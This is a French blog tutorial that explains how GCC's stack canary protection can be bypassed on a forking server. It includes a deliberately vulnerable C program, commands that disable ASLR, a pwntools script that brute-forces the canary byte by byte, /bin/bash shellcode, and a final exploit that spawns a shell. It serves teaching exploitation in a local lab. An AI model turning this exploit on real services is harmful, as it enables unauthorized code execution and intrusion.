La Stack Smashing Protection: Un canary infaillible?

Depuis l’avènement des Buffer Overflow dans le début des années 90, les experts en sécurité informatique ont cherché de nouvelles protections contre ce type d'attaques.

Ainsi sont nées bons nombres de protections connues telles que le fameux ASLR(Address Space Layout Randomization) , le NX (Non-executable) ou encore le SOURCE FORTIFY (remplacement de fonctions dangereuses par sa version sécurisée: strcpy=>strncpy).

Mais celle qui a fait le plus parler d'elle dans le monde des failles applicatives reste la Stack Smashing Protection aussi appelée "Canary" ou Cookie.

Voici un petit exemple de ce à quoi ressemble la Stack dans une fonction sur un programme avec la SSP activée.

+-------------------------+
|                         |
|        Save EIP         |
|                         |
+-------------------------+
|                         |
|        Save EBP         |
|                         |
+-------------------------+
|                         |
|        Padding          |
|                         |
+-------------------------+
|                         |
|        Canary           |
|                         |
+-------------------------+
|                         |
|    char badbuffer[64]   |
|                         |
+-------------------------+

On peut voir qu'un Canary été inséré entre notre buffer et le couple EBP (Frame Pointer) et EIP (Return Adress).

Pour mieux comprendre prenons l'exemple suivant:

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <memory.h>

void vuln(char *goodbuffer, int size)
{
    char badbuffer[64];
    memcpy(badbuffer,goodbuffer,size);
}
int main(int argc, char **argv)
{
    int pid,real_size;
    char goodbuffer[256];
    char size[4];
    setbuf(stdout, NULL); // On enleve le buffering de stdout
    while(1)
    {
        pid = fork();
        if( pid == 0 )
        {
            printf("Size: "); // On demande la taille de la chaine à recevoir
            fgets(size, 4 , stdin);
            real_size=atoi(size);
            printf("Input: ");
            fgets(goodbuffer, real_size, stdin);
            goodbuffer[real_size-1]=0;
            vuln(&goodbuffer, real_size-1); // Fonction vulnérable
            printf("Done\n");
        }
        else
        {
            wait(NULL);
        }
    }
    return -1;
}

Le ROP n'est pas l'objet de cet article, nous allons donc désactiver l'ASLR et le NX (-z execstack), on rajoute bien évidement l'option Smash Stack Protection (-fstack-protector).

root@Geluchat:~# echo 0 > /proc/sys/kernel/randomize_va_space # Desactive l'ALSR
root@Geluchat:~# gcc SSPbypass.c -Wall -o SSPbypass -z norelro -z execstack -fstack-protector -m32
root@Geluchat:~# chmod +x SSPbypass
root@Geluchat:~# ./SSPbypass

A la fin de la fonction vuln() le canary est vérifié, s'il a été modifié par l'exploitation d'un Buffer overflow classique on obtient une erreur du type:

*** stack smashing detected ***: SSPbypass - terminated
SSPbypass: stack smashing attack in function  - terminated

Et bien sûr notre exploitation échoue.

Cette protection semble parfaite contre ce type de Buffer overflow, néanmoins elle reste contournable.

En effet, si l'on réécrit le canary par sa vraie valeur pendant l'exploitation, à la fin de la fonction le canary n'aura pas été modifié et le programme continuera son exécution.

Mais cette méthode à un gros défaut, un canary classique fait 4 octets (sur du 32 bits, par exemple 0x61626364) soit 256^4 qui correspond à 1 chance sur 4294967296, autant dire que sur un programme distant, ça reste impossible à exploiter.

La bonne méthode est donc ailleurs.

Pour trouver notre canary, il va falloir procéder en plusieurs fois. Je m'explique, le canary faisant dans notre cas 4 octets:

Nous pouvons le deviner octet par octet à la manière d'une SQL Blind.
Nous savons aussi que le programme proposé plus haut retourne la chaine "Done" quand tout s'est bien déroulé et rien quand on a écrasé le canary.
Si le premier octet du canary est égal à 0x61 il ne retournera pas la chaine tant qu'on ne lui envoie pas 0x61.
Un appel à la fonction fork() copie le canary, il reste donc le même à chaque connexion tant que le programme n'est pas fini.

On peut donc effectuer un bruteforce byte par byte, c'est ce que fait le script suivant:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context(arch='i386')
p = 0
e=ELF('./SSPbypass')


def wait(until):
    return p.recvuntil(until)

def start():
    global p, libc
    if p is not 0:
        p.close()
    p = process('./SSPbypass', shell=True)
    wait("Size: ")

def trigger(buf):
    p.writeline(str(len(buf)+1))
    dumb=wait("Input: ")
    p.write(buf) 
    return wait("Size: ")

def leak(bufsize,canarysize):
    leak = ""
    while len(leak) < canarysize:
        for i in xrange(256):
            hex_byte = chr(i)
            buf = "A"*bufsize + leak + hex_byte
            resp=trigger(buf) # On test le cookie byte par byte
            if 'Done' in resp:
                leak += hex_byte
                print("[*] byte : %r" % hex_byte)
                break
            if(i==255):
                raise ValueError('Hum :(')
    return leak

start()
canary=leak(64,4)   
print("[+] Canary %#x" % u32(canary[0:4]))
trigger("A"*64+canary+p32(0)*3+"bbbb") # Rewrite eip par bbbb

Il ne reste plus ensuite qu'à exploiter le programme de manière classique:

# On export notre shellcode dans une variable d'environnement
http://shell-storm.org/shellcode/files/shellcode-606.php execve("/bin/bash", ["/bin/bash", "-p"], NULL)
root@Geluchat:~# export SC=$(python -c "print '\x90'*100+'\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'")
root@Geluchat:~#./getenv SC
0xffffdf3e

getenv.c

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
printf("0x%x\n",getenv(argv[1]));
}

Exploit final :

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context(arch='i386')
p = 0
e=ELF('./SSPbypass')


def wait(until):
    return p.recvuntil(until)

def start():
    global p, libc
    if p is not 0:
        p.close()
    p = process('./SSPbypass', shell=True)
    wait("Size: ")

def trigger(buf):
    p.writeline(str(len(buf)+1))
    dumb=wait("Input: ")
    p.write(buf) 
    return wait("Size: ")

def leak(bufsize,canarysize):
    leak = ""
    while len(leak) < canarysize:
        for i in xrange(256):
            hex_byte = chr(i)
            buf = "A"*bufsize + leak + hex_byte
            resp=trigger(buf) # On test le cookie byte par byte
            if 'Done' in resp:
                leak += hex_byte
                print("[*] byte : %r" % hex_byte)
                break
            if(i==255):
                raise ValueError('Hum :(')
    return leak


def getshell():
    log.success("Enjoy your shell!")
    p.sendline("python -c \"import pty;pty.spawn('/bin/bash')\"")
    p.interactive()

start()
canary=leak(64,4)   
print("[+] Canary %#x" % u32(canary[0:4]))
buf="A"*64+canary+p32(0)*3+p32(0xffffdf3e+20) # On ajoute +20 en raison du padding de l'environnement
p.writeline(str(len(buf)+1))
wait("Input: ")
p.write(buf) 
getshell()

Un dernier détail important, le canary, sous certaines distributions, peut contenir des null-bytes, il ne sera bypassable que sous certaines conditions, par exemple l’utilisation d’une fonction recv() couplée à un memcpy() qui sont deux fonctions gérants les null-bytes.

Voila, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Geluchat.